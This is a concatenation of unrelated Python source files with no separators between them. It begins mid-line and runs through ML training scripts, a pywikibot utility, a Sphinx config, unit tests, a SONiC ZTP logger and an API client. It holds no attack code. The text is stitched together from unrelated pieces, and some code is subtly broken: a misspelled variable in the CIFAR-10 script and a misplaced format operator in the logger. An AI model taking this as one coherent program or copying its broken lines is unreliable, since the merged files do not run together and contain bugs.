pywren_ibm_cloud.runtime.utils import clean_runtimes import gc import glob import os import time import models_pytorch import numpy as np import pandas as pd import torch import torch.nn.functional as F from tqdm import tqdm def benchmark_model(train_loader, loss_fn, model_parameters, model_name, run_name, epochs=1, batch_size=128, gpu=0, verbose=False): start_time = time.time() epoch_times = {} model = getattr(models_pytorch, model_name)(model_parameters) if verbose: print(model) model.train() model.cuda(gpu) compilation_time = time.time() - start_time with open('logs/{0}/{0}_compilation_time.log'.format(run_name), 'w') as f: f.write('{:.5f}'.format(compilation_time)) learning_rate = 1e-4 optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate) log_file = open('logs/{0}/{0}.log'.format(run_name), 'w') for e in range(epochs): epoch_start = time.time() for image, target in tqdm(train_loader): image = image.cuda(gpu, non_blocking=True) target = target.cuda(gpu, non_blocking=True) y_pred = model(image) y_pred = F.sigmoid(y_pred) loss = loss_fn(y_pred, target) optimizer.zero_grad() loss.backward() optimizer.step() epoch_time = time.time() - epoch_start # epoch_times[e] = log_file.write('{},{}\n'.format(e, epoch_time)) log_file.flush() log_file.close() return # -*- coding: utf-8 -*- """ Utilities that help wikibot scripts. This script should be imported in all scripts rather than directly importing pywikibot, as it handles exceptions when importing pywikibot appropriately. """ from __future__ import (division, absolute_import, unicode_literals, print_function) import logging import os import sys import tempfile from six import string_types from file_metadata.utilities import download, retry try: import pywikibot except ImportError: logging.error("To run the script, pywikibot is required. Please install " "it and try again. The nightly version of pywikibot can be " "installed with `pip install git+https://" "gerrit.wikimedia.org/r/pywikibot/core.git#egg=pywikibot`") sys.exit(1) except RuntimeError as err: if (len(err.args) > 0 and "No user-config.py found in directory" in err.args[0]): logging.error("A user-config.py is require to run the pywikibot " "script. To create the user-config.py run the " "command `wikibot-create-config`.") sys.exit(1) import pywikibot.editor from pywikibot import textlib from pywikibot.tools.formatter import color_format def stringify(val): """ Convert to val only if it is not already of type string. This is needed because strings like \xfa (ú) throw error when str() is used on them again. """ return val if isinstance(val, string_types) else str(val) @retry(IOError, tries=3) def download_page(page, timeout=None, cache_dir=tempfile.gettempdir()): fname = page.title(as_filename=True).encode('ascii', 'replace') fpath = os.path.join(cache_dir, fname) download(page.fileUrl(), fpath, timeout=timeout) return fpath def put_cats(page, new_cats, summary=None, always=False): line_sep = pywikibot.config.line_separator if not summary: summary = "Adding categories using catfiles" oldtext = page.get() old_cats = textlib.getCategoryLinks(oldtext) old_templates = textlib.extract_templates_and_params(oldtext) old_template_titles = [i[0].lower() for i in old_templates] templates, cats = [], [] for val in new_cats: if val.lower().startswith('category:'): tmp_cat = pywikibot.Category(pywikibot.Link(val, page.site)) if tmp_cat not in old_cats: cats.append(tmp_cat) elif val.lower().startswith('{{'): tmp_templates = textlib.extract_templates_and_params(val) if len(tmp_templates) != 1: logging.warn("There was an error when parsing the template " "'{0}'. Contact the developer, skipping it for " "now.".format(val)) tmp_template = tmp_templates[0] if tmp_template[0].lower() not in old_template_titles: templates.append(val) # Add templates to the top, and the categories to the bottom. newtext = oldtext if len(templates) > 0: newtext = line_sep.join(templates) + line_sep + newtext if len(cats) > 0: newtext = (newtext + line_sep + line_sep.join(c.title(asLink=True, underscore=False) for c in cats)) if oldtext == newtext: pywikibot.output("No changes to the page need to be made.") return while True: # Show the diff that has been created pywikibot.output(color_format( '\n\n>>> {lightpurple}{0}{default} <<<', page.title(underscore=False))) pywikibot.showDiff(oldtext, newtext) if always: choice = 'y' else: # Ask user whether to accept choice = pywikibot.input_choice( 'Do you want to accept these changes?', [('Yes', 'y'), ('No', 'n'), ('Edit', 'e'), ('Open browser', 'b')], 'n', automatic_quit=False) # Apply the choice from above if choice == 'n': break elif choice == 'b': pywikibot.bot.open_webbrowser(page) elif choice == 'e': editor = pywikibot.editor.TextEditor() as_edited = editor.edit(newtext) if as_edited and as_edited != newtext: newtext = as_edited elif choice == 'y': try: page.put_async(newtext, summary) except pywikibot.EditConflict: pywikibot.output('Edit conflict! Skipping') except pywikibot.ServerError: pywikibot.output('Server Error! Skipping') except pywikibot.SpamfilterError as e: pywikibot.output( 'Cannot change %s because of blacklist entry %s' % (page.title(), e.url)) except pywikibot.LockedPage: pywikibot.output('Skipping %s (locked page)' % page.title()) except pywikibot.PageNotSaved as error: pywikibot.output('Error putting page: %s' % error.args) break import sys import os from datetime import datetime import re import glob sys.path.insert(0, ".") sys.path.insert(1, "..") from corkus import __version__ copyright = datetime.today().strftime("%Y, MrBartusek") exclude_patterns = ["_build"] extensions = [ "sphinx.ext.autodoc", "sphinx.ext.intersphinx", "sphinx_autodoc_typehints", "sphinxext.opengraph", "sphinx_copybutton" ] html_static_path = ["_static"] html_css_files = ['colors.css'] html_favicon = '_static/favicon.ico' html_theme = 'furo' htmlhelp_basename = "Corkus.py" intersphinx_mapping = {"python": ("https://docs.python.org", None)} master_doc = "index" nitpicky = True project = "Corkus.py" pygments_style = "sphinx" release = __version__ source_suffix = ".rst" suppress_warnings = ["image.nonlocal_uri"] version = ".".join(__version__.split(".", 2)[:2]) autodoc_member_order = "bysource" autodoc_typehints = "none" autoclass_content = "class" html_logo = "_static/logo.png" autodoc_class_signature = "separated" set_type_checking_flag = True html_title = f"Corkus.py {__version__}" ogp_site_url = "https://corkuspy.readthedocs.io" ogp_site_name = "Corkus.py Documentation" ogp_image = "https://corkuspy.readthedocs.io/en/stable/_static/logo.png" ogp_custom_meta_tags = [ '' '', ] def to_camel_case(string): string = string.replace("UUID", "Uuid") return re.sub(r'(?1-10 # Copyright 2019 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ tf neg """ import os from base import TestBase import pytest ############################################################ # TestCase= class: put to tests/*/ ############################################################ class TestCase(TestBase): def setup(self): case_name = "test_akg_neg_001" case_path = os.getcwd() # params init self.params_init(case_name, case_path) self.caseresult = True self._log.info("============= {0} Setup case============".format(self.casename)) self.testarg = [ ## testflag,opfuncname,testRunArgs, dimArgs ('neg_8', "neg_run", ((8,), 'float16')), ('neg_64', "neg_run", ((64,), 'float16')), ('neg_160', "neg_run", ((160,), 'float16')), ('neg_1280', "neg_run", ((1280,), 'float16')), ('neg_1280_1024', "neg_run", ((1280, 1024), 'float16')), ##('neg_8192_1024', "neg_run", ((8192,1024),'float16'), [(16,16),(1024,1024)]), ##('neg_64_128_1024', "neg_run", ((64,128,1024),'float16'), [(1,1),(16,16),(1024,1024)]), ('neg_1_128', "neg_run", ((1, 128), 'float16')), ('neg_128_128', "neg_run", ((128, 128), 'float16')), ('neg_128_256', "neg_run", ((128, 256), 'float16')), ] self.testarg_cloud = [ ## testflag,opfuncname,testRunArgs, dimArgs ('neg_8', "neg_run", ((8,), 'float32'), [(8, 8)]), ('neg_64', "neg_run", ((64,), 'float32'), [(64, 64)]), ] self.testarg_rpc_cloud = [ ## testflag,opfuncname,testRunArgs, dimArgs ('neg_8_fp32', "neg_run", ((8,), 'float32')), ('neg_64_fp32', "neg_run", ((64,), 'float32')), ('neg_160_fp32', "neg_run", ((160,), 'float32')), ('neg_1280_fp32', "neg_run", ((1280,), 'float32')), ('neg_1280_1024_fp32', "neg_run", ((1280, 1024), 'float32')), ('neg_8192_1024_fp32', "neg_run", ((8192, 1024), 'float32')), ('neg_64_128_1024_fp32', "neg_run", ((64, 128, 1024), 'float32')), # float:[64] = float:[64] ('neg_001_64_fp32', "neg_run", ((64,), 'float32')), # float:[8192, 1024] = float:[8192, 1024] ('neg_002_8192_1024_fp32', "neg_run", ((8192, 1024), 'float32')), # float:[160] = float:[160] ('neg_003_160_fp32', "neg_run", ((160,), 'float32')), # float:[1280, 1024] = float:[1280, 1024] ('neg_004_1280_1024_fp32', "neg_run", ((1280, 1024), 'float32')), # float:[1280] = float:[1280] ('neg_005_1280_fp32', "neg_run", ((1280,), 'float32')), # float:[8] = float:[8] ('neg_006_8_fp32', "neg_run", ((8,), 'float32')), # float:[64, 128, 1024] = float:[64, 128, 1024] ('neg_007_64_128_1024_fp32', "neg_run", ((64, 128, 1024), 'float32')), # half:[8192, 768] = half:[8192, 768] ('neg_008_8192_768_fp16', "neg_run", ((8192, 768), 'float16')), # float:[64] = float:[64] ('neg_009_64_fp32', "neg_run", ((64,), 'float32')), # float:[64, 128, 768] = float:[64, 128, 768] ('neg_010_64_128_768_fp32', "neg_run", ((64, 128, 768), 'float32')), # float:[1280, 768] = float:[1280, 768] ('neg_011_1280_768_fp32', "neg_run", ((1280, 768), 'float32')), # float:[1280] = float:[1280] ('neg_012_1280_fp32', "neg_run", ((1280,), 'float32')), ] self.testarg_level1 = [ ## testflag,opfuncname,testRunArgs, dimArgs # ('neg_8', "neg_run", ((8,),'float16'), [(8,8)]), # ('neg_64', "neg_run", ((64,),'float16'), [(64,64)]), # ('neg_160', "neg_run", ((160,),'float16'), [(160,160)]), # ('neg_1280', "neg_run", ((1280,),'float16'), [(1280,1280)]), # ('neg_1280_1024', "neg_run", ((1280,1024),'float16'), [(16,16),(1024,1024)]), ('neg_8192_1024', "neg_run", ((8192, 1024), 'float16')), ('neg_64_128_1024', "neg_run", ((64, 128, 1024), 'float16')), # ('neg_1_128', "neg_run", ((1,128), 'float16'), [(128,128), (128,128)]), # ('neg_128_128', "neg_run", ((128, 128), 'float16'), [(0, 0), (128, 128)]), # ('neg_128_256', "neg_run", ((128, 256), 'float16'), [(0, 0), (128, 128)]), ] return @pytest.mark.rpc_mini @pytest.mark.level0 @pytest.mark.env_onecard @pytest.mark.platform_x86_ascend_training def test_run(self): """ run case.# :return: """ self.common_run(self.testarg) @pytest.mark.aicmodel @pytest.mark.env_onecard @pytest.mark.platform_x86_ascend_training def test_run_cloud(self): """ run case.# :return: """ self.common_run(self.testarg_cloud) @pytest.mark.rpc_cloud @pytest.mark.env_onecard @pytest.mark.platform_x86_ascend_training def test_run_rpc_cloud(self): self.common_run(self.testarg_rpc_cloud) @pytest.mark.level1 @pytest.mark.env_onecard @pytest.mark.platform_x86_ascend_training def test_run_level1(self): """ run case.# :return: """ self.common_run(self.testarg_level1) def teardown(self): """ clean environment :return: """ self._log.info("============= {0} Teardown============".format(self.casename)) return if __name__ == "__main__": a = TestCase() a.setup() a.test_run() a.teardown() from django.db.models.signals import post_save from django.dispatch import receiver from django.contrib.auth.models import User from .models import Profile @receiver(post_save, sender=User) def profile_created(sender, instance, created, **kwargs): if created: Profile.objects.create(user=instance, email=instance.email) @receiver(post_save, sender=User) def profile_saved(sender, instance, **kwargs): instance.profile.save() tf_cifar10.py #coding:utf-8 from tutorials.image.cifar10 import cifar10_input from tutorials.image.cifar10 import cifar10 import tensorflow as tf import numpy as np import time max_steps = 3000 batch_size = 128 data_dir = '/tmp/cifar10_data/cifar-10-batches-bin' cifar10.maybe_download_and_extract() def interface(): mages_train, labels_train = cifar10_input.distorted_inputs(data_dir=data_dir, batch_size=batch_size) images_test, labels_test = cifar10_input.inputs(eval_data=True, data_dir=data_dir, batch_size=batch_size) image_holder = tf.placeholder(tf.float32, [batch_size, 24, 24, 3]) label_holder = tf.placeholder(tf.int32, [batch_size]) def variable_with_weight_loss(shape, stddev, w1): var = tf.Variable(tf.truncated_normal(shape, stddev)) if w1 is not None: #weight_loss = tf.matmul(tf.nn.l2_loss(var), w1, name='weight_loss') weight_loss = tf.multiply(tf.nn.l2_loss(var), w1, name='weight_loss') tf.add_to_collection('losses', weight_loss) return var weight1 = variable_with_weight_loss(shape=[5, 5, 3, 64], stddev=0.05, w1=0.0) bias1 = tf.Variable(tf.constant(0.0, tf.float32, [64])) # conv_kernals_1 = tf.nn.conv2d(image_holder, weight1,stride=[1,1,1,1], padding='SAME') conv_kernals_1 = tf.nn.conv2d(image_holder, weight1, [1, 1, 1, 1], padding='SAME') # relu_1 = tf.nn.relu(tf.nn.add_bias(conv_kernals_1, bias1)) relu_1 = tf.nn.relu(tf.nn.bias_add(conv_kernals_1, bias1)) pool_1 = tf.nn.max_pool(relu_1, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') norm_1 = tf.nn.lrn(pool_1, 4, bias=1.0, alpha=0.001 / 9.0, beta=0.75) weight2 = variable_with_weight_loss(shape=[5, 5, 64, 64], stddev=0.05, w1=0.0) bias2 = tf.Variable(tf.constant(0.1, tf.float32, shape=[64])) conv_kernels_2 = tf.nn.conv2d(norm_1, weight2, strides=[1, 1, 1, 1], padding='SAME') relu_2 = tf.nn.relu(tf.nn.bias_add(conv_kernels_2, bias2)) norm_2 = tf.nn.lrn(relu_2, 4, bias=1.0, alpha=0.001 / 9.0, beta=0.75) pool_2 = tf.nn.max_pool(norm_2, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') # -1是什么意思 # dim取shape[1]是因为[0]是batch_size。 reshape = tf.reshape(pool_2, [batch_size, -1]) dim = reshape.get_shape()[1].value weight3 = variable_with_weight_loss([dim, 384], stddev=0.04, w1=0.04) bias3 = tf.Variable(tf.constant(0.1, tf.float32, [384])) full_connect_1 = tf.matmul(reshape, weight3) + bias3 relu_3 = tf.nn.relu(full_connect_1) weight4 = variable_with_weight_loss([384, 192], stddev=0.04, w1=0.04) bias4 = tf.Variable(tf.constant(0.1, tf.float32, shape=[192])) full_connect_2 = tf.matmul(relu_3, weight4) + bias4 relu_4 = tf.nn.relu(full_connect_2) weight5 = variable_with_weight_loss([192, 10], stddev=1 / 192.0, w1=0.0) bias5 = tf.Variable(0.0, tf.float32, [10]) logits = tf.matmul(relu_4, weight5) + bias5 def loss(logits, labels): labels = tf.cast(labels, tf.int64) cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=labels, name='cross_entropy_per_example') cross_entropy_mean = tf.reduce_mean(cross_entropy, name='cross_entropy') tf.add_to_collection('losses', cross_entropy_mean) return tf.add_n(tf.get_collection('losses'), name='total_loss') imran-rashid/python-standard-library-examplesData Structures/pprint/pprint_recursion.py # Recursive data structures are represented with a reference to the original # source of the data, given in the format . from pprint import pprint local_data = [1, 2, 'a', 'b'] local_data.append(local_data) print(local_data) # [1, 2, 'a', 'b', [...]] print(f'Id of the local_data => {id(local_data)}') pprint(local_data) # [1, 2, 'a', 'b', ]#!/usr/bin/env python # # Author: <> # ''' CCSD and CCSD(T) lambda equation ''' import pyscf mol = pyscf.M( atom = ''' O 0. 0. 0. H 0. -0.757 0.587 H 0. 0.757 0.587''', basis = 'cc-pvdz') mf = mol.RHF().run() cc = mf.CCSD().run() # # Solutions for CCSD Lambda equations are saved in cc.l1 and cc.l2 # cc.solve_lambda() print(cc.l1.shape) print(cc.l2.shape) ### # # Compute CCSD(T) lambda with ccsd_t-slow implementation # (as of pyscf v1.7) # from pyscf.cc import ccsd_t_lambda_slow as ccsd_t_lambda conv, l1, l2 = ccsd_t_lambda.kernel(cc, cc.ao2mo(), cc.t1, cc.t2, tol=1e-8) zahichemaly/rss-bot import feedparser import json import service as api from datetime import datetime as dt from datetime import timezone def main(): for feed_url in api.FEED_URLS: rss_feed = feedparser.parse(feed_url) today = dt.now().date() for entry in rss_feed.entries: entry_name = entry.title entry_date = entry.published published_date = get_date(entry_date) if (published_date == today): api.send_message(entry_name, rss_feed.feed.title) def get_date(dateString): #Date Format in feed #Fri, 10 Jul 2020 13:48:41 +0000 trimmedDate = dateString[:-6] return dt.strptime(trimmedDate, "%a, %d %b %Y %H:%M:%S").date() if __name__ == "__main__": api.load_config() main() tests/test_text.py """ Test text generation. """ from map_machine.text import format_voltage __author__ = "" __email__ = "" def test_voltage() -> None: """Test voltage tag value processing.""" assert format_voltage("42") == "42 V" assert format_voltage("42000") == "42 kV" sorts/selection_sort.py # 选择排序(Selection sort) # 稳定性：不稳定 # 时间复杂度，bad：O(n^2)；good：O(n^2)，average：O(n^2) # 空间复杂度: O(1) def selection_sort(array: list) -> list: length = len(array) array = array.copy() for i in range(length - 1): small = i for j in range(i + 1, length): if array[small] > array[j]: small = j if small != i: array[i], array[small] = array[small], array[i] print('out:', array) return array def test_selection_sort(): from utils import cachelist a = [4, 3, 2, 1] a = selection_sort(cachelist(a)) print(a) if __name__ == '__main__': test_selection_sort() from unittest.mock import MagicMock, patch import pytest from black import NothingChanged from mypy_boto3_builder.writers.utils import ( blackify, insert_md_toc, render_jinja2_template, sort_imports, ) class TestUtils: @patch("mypy_boto3_builder.writers.utils.black") def test_blackify(self, black_mock): file_path_mock = MagicMock() file_path_mock.suffix = ".txt" result = blackify("my content", file_path_mock) assert result == "my content" file_path_mock.suffix = ".py" result = blackify("my content", file_path_mock) assert result == black_mock.format_file_contents() black_mock.FileMode.assert_called_with(is_pyi=False, line_length=100) file_path_mock.suffix = ".pyi" result = blackify("my content", file_path_mock) assert result == black_mock.format_file_contents() black_mock.FileMode.assert_called_with(is_pyi=True, line_length=100) black_mock.format_file_contents.side_effect = IndentationError() with pytest.raises(ValueError): blackify("my content", file_path_mock) black_mock.format_file_contents.side_effect = NothingChanged() assert blackify("my content", file_path_mock) == "my content" @patch("mypy_boto3_builder.writers.utils.sort_code_string") def test_sort_imports(self, sort_code_string_mock): sort_code_string_mock.return_value = "output" assert sort_imports("test", "mymodule") == "output" sort_code_string_mock.assert_called() @patch("mypy_boto3_builder.writers.utils.TEMPLATES_PATH") @patch("mypy_boto3_builder.writers.utils.JinjaManager") def test_render_jinja2_template( self, JinjaManagerMock: MagicMock, TEMPLATES_PATH_MOCK: MagicMock ) -> None: template_path_mock = MagicMock() result = render_jinja2_template(template_path_mock, "package", "service_name") JinjaManagerMock.get_environment.assert_called_with() JinjaManagerMock.get_environment().get_template.assert_called_with( template_path_mock.as_posix() ) JinjaManagerMock.get_environment().get_template().render.assert_called_with( package="package", service_name="service_name" ) assert result == JinjaManagerMock.get_environment().get_template().render() TEMPLATES_PATH_MOCK.__truediv__().exists.return_value = False with pytest.raises(ValueError): render_jinja2_template(template_path_mock, "package", "service_name") def test_insert_md_toc(self) -> None: assert ( insert_md_toc("# a\ntest\n## b\n## c\ntest2") == "# a\ntest\n- [a](#a)\n - [b](#b)\n - [c](#c)\n\n## b\n## c\ntest2" ) assert insert_md_toc("# a\n") == "# a\n- [a](#a)\n" from nf_common_source.code.services.file_system_service.objects.folders import Folders from nf_common_source.code.services.reporting_service.reporters.log_with_datetime import log_message def load_database_with_table( db_connection, table_name: str, csv_folder: Folders): full_csv_path = \ csv_folder.absolute_path_string sql_query = \ 'SELECT * INTO ' + table_name[ :-4] + ' FROM [text;HDR=Yes;FMT=Delimited(,);CharacterSet=65001;Database=' + full_csv_path + '].' + table_name + ';' log_message( message=sql_query) cursor = \ db_connection.cursor() cursor.execute( sql_query) db_connection.commit() an-dhyun/fcaf3d_temp import os import numpy as np import open3d as o3d from scipy.io import savemat def main(dir_root): depth_path = "data/dtaas/dtaas_trainval/depth" if not os.path.exists(depth_path): os.makedirs(depth_path) dir_names = os.listdir(dir_root) dir_names.sort() for idx, dir_name in enumerate(dir_names): pts_name = f"{dir_root}/{dir_name}/{dir_name}.pts" with open(pts_name, "rt", encoding = 'utf-8') as fr: points = [] fr.readline() # Skip a header. while True: line = fr.readline() if not line: break; points.append(line.strip().split(" ")) npPoints = np.array(points) print(npPoints.shape) floatPoint = npPoints[:, 0:3].astype(float) intPoint = npPoints[:, 3:6].astype(int) binPoint = np.concatenate((floatPoint, intPoint), axis=1) savemat(f"{depth_path}/{idx+1:06d}.mat", {'instance': binPoint}) if __name__ == '__main__': dir_root = 'data/dtaas/DTAAS' main( dir_root=dir_root ) ''' Copyright 2019 Broadcom. The term "Broadcom" refers to Broadcom Inc. and/or its subsidiaries. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' import sys import os import syslog from ztp.ZTPLib import isString, getTimestamp, getCfg, runCommand class Logger: '''! \brief This class allow to log data to syslog and/or to a file. There are five logging levels, from Debug to Critical. The default mode is to show logs from INFO level and above (INFO, Warning, Error, Critical). There are actuallt two levels of logging: - one for the text being shown on stdout - one for the text sent to a log file Examples of class usage: \code logger = Logger() logger.setLevel(Logger.ERROR) logger.debug('cmd="%s"' % (cmd)) logger.error('An error happened here') \endcode ''' ## Debug level logging DEBUG = syslog.LOG_DEBUG ## Information level logging INFO = syslog.LOG_INFO ## Warning level logging WARNING = syslog.LOG_WARNING ## Error level logging ERROR = syslog.LOG_ERR ## Critical level logging CRITICAL = syslog.LOG_CRIT def __init__(self, log_level=None, log_file=None): '''! Constructor for the class. @param log_level (int) Log level for messages sent to syslog, expressed as a numeric constant @param log_file (str) Name of the file where logging is written to ''' ## Initialize the variables to default value. Later on, when the configuration ## is available, this function will be called again so their values will be ## defined depending of the configuration. ## Save logging level for stdout and file self.__log_level = log_level if log_level is None: self.__log_level = getCfg('log-level', self.INFO) self.setLevel(self.__log_level) ## Save logging filename self.__log_file = log_file if log_file is None: self.__log_file = getCfg('log-file') self.setlogFile(self.__log_file) ## Log to stdout, useful for test-mode self.__log_console = False syslog.openlog(ident='sonic-ztp', logoption=syslog.LOG_PID) def __str_to_int_level(self, str_level): '''! Convert a log level expressed as astring (e.g. "DEBUG") to a numeric constant (e.g. DEBUG). @param str_level (str) Log level expressed as a string @return return the integer value from a string ''' if str_level.upper() == 'DEBUG': return self.DEBUG elif str_level.upper() == 'INFO': return self.INFO elif str_level.upper() == 'WARNING': return self.WARNING elif str_level.upper() == 'ERROR': return self.ERROR elif str_level.upper() == 'CRITICAL': return self.CRITICAL else: print('Invalid log level string %s. Using INFO.' % str_level) return self.INFO def __int_level_to_str(self, int_level): '''! Convert a log level expressed as an int (e.g. syslog.DEBUG) to a string (e.g. 'DEBUG'). @param int_level (int) Log level expressed as an integer @return return the string value for the log level ''' if int_level == self.DEBUG: return 'DEBUG' elif int_level == self.INFO: return 'INFO' elif int_level == self.WARNING: return 'WARNING' elif int_level == self.ERROR: return 'ERROR' elif int_level == self.CRITICAL: return 'CRITICAL' else: return 'INFO' def setLevel(self, log_level): '''! Set the current level of logging. @param log_level (int) log level which will be shown on stdout (DEBUG, INFO, WARNING, ERROR or CRITICAL) @exception Raise TypeError if incorrect parameter type ''' if not isString(log_level) and not type(log_level) == int: raise TypeError("Log Level must be a number or a string") if type(log_level) == int: self.__log_level = log_level else: self.__log_level = self.__str_to_int_level(log_level) if type(log_level) == int: if (self.__log_level > self.DEBUG) or (self.__log_level < self.CRITICAL): self.__log_level = self.INFO syslog.setlogmask(syslog.LOG_UPTO(self.__log_level)) def setlogFile(self, log_file=None): '''! Set the log file to store all logs generated during ZTP @param log_file (str) log file @exception Raise TypeError if incorrect parameter type ''' rsyslog_conf_file = getCfg("rsyslog-ztp-log-file-conf", '/etc/rsyslog.d/10-ztp.conf') if log_file is None or (isString(log_file) and log_file == ''): if os.path.isfile(rsyslog_conf_file): os.remove(rsyslog_conf_file) return if not isString(log_file): raise TypeError("Log file must be a string") self.__log_file = log_file change = True if os.path.isfile(rsyslog_conf_file): fh = open(rsyslog_conf_file, 'r') if fh.readline().strip() == ':programname, contains, "sonic-ztp" ' + log_file: change = False fh.close() if change: fh = open(rsyslog_conf_file, 'w') fh.write(':programname, contains, "sonic-ztp" ' + log_file) fh.close() runCommand('systemctl restart rsyslog', capture_stdout=False) def setConsoleLogging(self, mode=True): '''! Enable/disable logging to console ''' self.__log_console = mode def getLevel(self): '''! Return log level being used to filter messages ''' return self.__log_level def getLogFile(self): '''! Return log file used to store logs in addition to syslog ''' return self.__log_file def log(self, log_level, fmt, *args): '''! Log a formatted message - the logging level needs to be provided. @param log_level (int) Log level for this particular log message. Depending on log level, the message will be shown or not. ''' syslog.syslog(log_level, fmt + '\n' % args) if self.__log_console: print('sonic-ztp '+ self.__int_level_to_str(log_level) + ' ' +fmt % args) def debug(self, fmt, *args): '''! Helper function to log a formatted message - similar to log(Logger.DEBUG, ... ''' self.log(self.DEBUG, fmt, *args) def info(self, fmt, *args): '''! Helper function to log a formatted message - similar to log(Logger.INFO, ... ''' self.log(self.INFO, fmt, *args) def warning(self, fmt, *args): '''! Helper function to log a formatted message - similar to log(Logger.WARNING, ... ''' self.log(self.WARNING, fmt, *args) def error(self, fmt, *args): '''! Helper function to log a formatted message - similar to log(Logger.ERROR, ... ''' self.log(self.ERROR, fmt, *args) def critical(self, fmt, *args): '''! Helper function to log a formatted message - similar to log(Logger.CRITICAL, ... ''' self.log(self.CRITICAL, fmt, *args) ## Global instance of the logger logger = Logger() 0 import gzip import json import os import platform from requests import Session from requests.adapters import HTTPAdapter from requests.packages.urllib3.util.retry import Retry from launchable.version import __version__ from .authentication import get_org_workspace, authentication_headers from .env_keys import BASE_URL_KEY from .logger import Logger, AUDIT_LOG_FORMAT DEFAULT_BASE_URL = "https://api.mercury.launchableinc.com" def get_base_url(): return os.getenv(BASE_URL_KEY) or DEFAULT_BASE_URL class LaunchableClient: def __init__(self, base_url: str = "", session: Session = None, test_runner: str = ""): self.base_url = base_url or get_base_url() if session is None: strategy = Retry( total=3, method_whitelist=["GET", "PUT", "PATCH", "DELETE"], status_forcelist=[429, 500, 502, 503, 504], backoff_factor=2 ) adapter = HTTPAdapter(max_retries=strategy) s = Session() s.mount("http://", adapter) s.mount("https://", adapter) self.session = s else: self.session = session self.test_runner = test_runner self.organization, self.workspace = get_org_workspace() if self.organization is None or self.workspace is None: raise ValueError("Organization/workspace cannot be empty") def request(self, method, sub_path, payload=None, timeout=(5, 60), compress=False): url = _join_paths(self.base_url, "/intake/organizations/{}/workspaces/{}".format( self.organization, self.workspace), sub_path) headers = self._headers(compress) Logger().audit(AUDIT_LOG_FORMAT.format(method, url, headers, payload)) data = _build_data(payload, compress) try: response = self.session.request( method, url, headers=headers, timeout=timeout, data=data) Logger().debug( "received response status:{} message:{} headers:{}".format( response.status_code, response.reason, response.headers) ) return response except Exception as e: raise Exception("unable to post to %s" % url) from e def _headers(self, compress): h = { "User-Agent": "Launchable/{} (Python {}, {})".format(__version__, platform.python_version(), platform.platform()), "Content-Type": "application/json" } if compress: h["Content-Encoding"] = "gzip" if self.test_runner != "": h["User-Agent"] = h["User-Agent"] + \ " TestRunner/{}".format(self.test_runner) return {**h, **authentication_headers()} def _build_data(payload, compress): if payload is None: return None encoded = json.dumps(payload).encode() if compress: return gzip.compress(encoded) return encoded def _join_paths(*components): return '/'.join([c.strip('/') for c in components]) glogiotatidis/affiliates from mock import Mock, patch from nose.tools import eq_, ok_ from affiliates.banners.models import TextBanner from affiliates.banners.tests import TextBannerVariationFactory from affiliates.base.milestones import MilestoneDisplay from affiliates.base.tests import aware_date, aware_datetime, TestCase from affiliates.links.tests import DataPointFactory, LinkFactory from affiliates.users.tests import UserFactory class MilestoneDisplayTests(TestCase): def setUp(self): self.user = UserFactory.create() self.display = MilestoneDisplay(self.user) self.display.milestone_date = Mock() self.display.milestone_cmp = Mock() self.display.surrounding_milestones = Mock() self.display.close_to_milestone = Mock() self.display.metric_milestones = [5, 10, 20, 50] self.display.creation_milestones = [3, 5, 10] self.messages = { 'nothing_yet': 'nothing_yet_{0}', 'close_to_milestone': 'close_to_milestone_{0}', 'achieved_milestone': 'achieved_milestone_{0}', 'total_next_milestone': 'total_next_milestone_{0}_{1}', 'total_no_milestone': 'total_no_milestone_{0}', 'link_created': 'link_created' } def test_iter(self): self.display.milestone_cmp.side_effect = lambda a, b: a - b self.display.metric_milestone = Mock(side_effect=[1, 2]) self.display.creation_milestone = Mock(side_effect=[3, 4]) eq_(list(self.display), [1, 2, 3, 4]) def test_metric_milestone_no_metric(self): """ If the user has not received any counts for the metric yet, return the future date and the nothing_yet message. """ self.user.metric_aggregate_total = Mock(return_value=0) self.user.metric_total = Mock(return_value=0) milestone = self.display.metric_milestone('metric', self.messages) eq_(milestone, (self.display.future_date, 'nothing_yet_5')) self.user.metric_aggregate_total.assert_called_with('metric') self.user.metric_total.assert_called_with('metric') def test_metric_milestone_close(self): """ If the user is within 10% of the next milestone, return yesterday's date and the close_to_milestone message. """ # 18 clicks total, close_to_milestone is True self.user.metric_aggregate_total = Mock(return_value=4) self.user.metric_total = Mock(return_value=18) self.display.surrounding_milestones.return_value = (5, 20) self.display.close_to_milestone.return_value = True with patch('affiliates.base.milestones.date_yesterday') as date_yesterday: milestone = self.display.metric_milestone('metric', self.messages) eq_(milestone, (date_yesterday.return_value, 'close_to_milestone_2')) self.display.surrounding_milestones.assert_called_with(18, [5, 10, 20, 50]) def test_metric_milestone_have_date_of_last_milestone(self): """ If the aggregate total is less than the previous milestone (meaning we know the date of the last milestone), show the date the last milestone was achieved with the achieved_milestone message. """ # (aggregate == 4) + (prev_milestone == 5) = Last milestone # happened within datapoint range and we have a date. # milestone_date returns the date when it happened. self.user.metric_aggregate_total = Mock(return_value=4) self.user.metric_total = Mock(return_value=18) self.display.surrounding_milestones.return_value = (5, 20) self.display.close_to_milestone.return_value = False self.display.milestone_date.return_value = aware_date(2014, 1, 1) milestone = self.display.metric_milestone('metric', self.messages) eq_(milestone, (aware_date(2014, 1, 1), 'achieved_milestone_5')) self.display.milestone_date.assert_called_with('metric', 5, 4) def test_metric_milestone_to_next_milestone(self): """ If we don't know when the last milestone happened, but we know what the next one is, return yesterday's date with the total_next_milestone message. """ # (aggregate == 6) + (last_milestone == 5) = Last milestone # datapoint has been aggregated. self.user.metric_aggregate_total = Mock(return_value=6) 